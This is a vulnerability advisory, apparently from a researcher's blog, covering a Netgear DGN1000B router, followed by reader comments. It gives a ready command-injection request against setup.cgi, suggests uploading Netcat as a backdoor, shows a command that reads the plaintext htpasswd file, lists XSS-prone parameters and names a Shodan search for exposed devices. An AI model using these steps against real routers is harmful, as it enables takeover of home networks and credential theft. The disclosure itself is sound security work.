no one is safe ...

Multiple Vulnerabilities in Netgear DGN1000B

Device Name: DGN1000B
Vendor: Netgear

============ Vulnerable Firmware Releases: ============

Firmwareversion: V1.1.00.24
Firmwareversion: V1.1.00.45


============ Device Description: ============

The N150 Wireless ADSL2+ Modem Router DGN1000 provides you with an easy and secure way to set up a wireless home network with fast access to the Internet over a high-speed digital subscriber line (DSL). The N150 Modem Router has a built-in DSL modem and is compatible with all major DSL Internet service providers. The security features let you block unsafe Internet content and applications, and protect the devices that you connect to your home network.


============ Shodan Torks ============

Shodan Search: NETGEAR DGN1000

============ Vulnerability Overview: ============

  • OS Command Injection in the UPNP configuration:

The vulnerability is caused by missing input validation in the TimeToLive parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.

Param: TimeToLive

POST /setup.cgi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Basic XXX
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Connection: close


Change the Request Methode from HTTP Post to HTTP GET:`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4

It is possible to cross compile Netcat and upload it via wget, adjust the permissions and execute it. Have phun ;)

Sources including needed toolchain:
direct download:

  • Insecure Cryptographic Storage:

There is no password hashing implemented and so it is saved in plain text on the system:

cat /tmp/etc/htpasswd

  • XSS

Injecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

-> Sicherheit -> Dienste -> neuen Dienst anlegen -> Dienstname

Param: service_name

-> WLAN -> Zugriffsliste anpassen -> Hinzufügen -> Gerätename

Param: device>&wirelist_mac=01-11-22-33-44-66&h_accessLimit=enable&h_ruleSelect=0&todo=addmanual&this_file=m_access.htm&next_file=m_access.htm

Param: ssid_num

Param: h_skeyword

Param: cfKeyWord_Domain

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Advisory URL:
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - discovered vulnerability
15.10.2012 - Privately reported all details to vendor via email
23.10.2012 - Privately reported all details to vendor via webinterface
24.10.2012 - Netgear replied to forward the details internally
31.10.2012 - Netgear closes the case
31.10.2012 - Requested more details why the case is now closed.
31.10.2012 - Netgear responded that they will check the state of the case
06.11.2012 - Netgear requested the Serial Number of the device
08.11.2012 - Responded with the Serial Number
13.11.2012 - something goes on - I got a product registration confirmation
03.12.2012 - Case closed by Netgear - No new firmware available
16.01.2013 - Netgear contacted me again requesting to check a Beta version
22.01.2013 - Tested Beta Firmware and gave feedback to vendor
06.02.2013 - public release

===================== Advisory end =====================


New Firmware

From the release notes:

Bug Fixes:
Fixed UPnP security issue.

Updated since 05/19/2013 - please update this page.

Other Firmware versions

Hi, thank you for your report.

What about other firmware versions, are they also vulnerable? For instance "DGN1000B_v1.00.43".

Thank you, Francisco.

Re: Other Firmware versions

I have not tested version 1.00.43 but the chance is quite high that this version is also vulnerable.


Tested Beta Firmware for Netgear DG1000B

Did the beta firmware fix the issues you found - and can you tell the public Firmware-Version they released?

Re: Tested Beta Firmware for Netgear DG1000B

as far as I know the tested firmware is not available for download.